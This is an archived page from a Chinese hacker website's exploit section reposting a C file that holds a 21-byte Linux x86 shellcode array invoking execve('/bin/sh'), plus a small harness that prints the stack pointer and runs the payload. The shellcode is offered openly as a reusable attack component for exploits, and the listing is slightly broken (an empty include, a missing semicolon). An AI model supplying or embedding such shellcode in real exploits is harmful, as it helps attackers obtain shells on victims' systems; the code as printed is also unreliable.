| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> Exploit >> 文章正文 用户登录 新用户注册
  linux/x86 /bin/sh Standard Opcode Array Payload 21 Bytes         ★★★ 【字体:
linux/x86 /bin/sh Standard Opcode Array Payload 21 Bytes
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2005-9-15    

/*

 lnx_binsh4.c - v1 - 21 Byte /bin/sh Opcode Array Payload

 Copyright(c) 2004 c0ntex 

 

 This program is free software; you can redistribute it and/or modify

 it under the terms of the GNU General Public License as published by

 the Free Software Foundation; either version 2 of the License, or

 (at your option) any later version.

  

 This program is distributed in the hope that it will be useful,

 but WITHOUT ANY WARRANTY; without even the implied warranty of

 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

 GNU General Public License for more details.

  

 You should have received a copy of the GNU General Public License

 along with this program; if not, write to the Free Software

 Foundation, Inc., 59 Temple Place, Suite 330, Boston,

 MA  02111-1307  USA

*/



/*

 Calling: execve(/bin/sh)

*/



#include 



typedef char wikkid;



wikkid oPc0d3z[] = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"



unsigned long grab_esp()

{

		__asm__("

		          xorl %eax,%eax

	  	          movl %eax,%ebx

	  	          movl %esp,%eax

	  	");

}



int main(void)

{

	unsigned long delta;

	void (*pointer)();



	delta = grab_esp();



	fprintf(stderr, "\n[-] Stack Pointer found -> [0x%x]\n", delta);

	fprintf(stderr, "\t[-] Size of payload egg -> [%d]\n", sizeof(oPc0d3z));



	pointer=(void*)&oPc0d3z;



	while(pointer) {

		fprintf(stderr, "\t[-] Payload Begin -> [0x%x]\n", pointer);

		fprintf(stderr, "\t[-] Payload End   -> [0x%x]\n\n", pointer+21);

		pointer();

	}



	_exit(0x01);

}



文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    如何分级防御针对Linux服务器
    活地运用SQL Injection做数据
    Skype用户须警惕新Windows蠕
    McAfee发布Windows Mobile风
    Windows Vista对付ARP病毒有
    非主流入侵之会话劫持winnt/
    微软今日发布Windows Live测
    SIDVault Simple_Bind 函数多
    Thomson SpeedTouch 2030 SI
    HP-UX get_system_info的工具
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.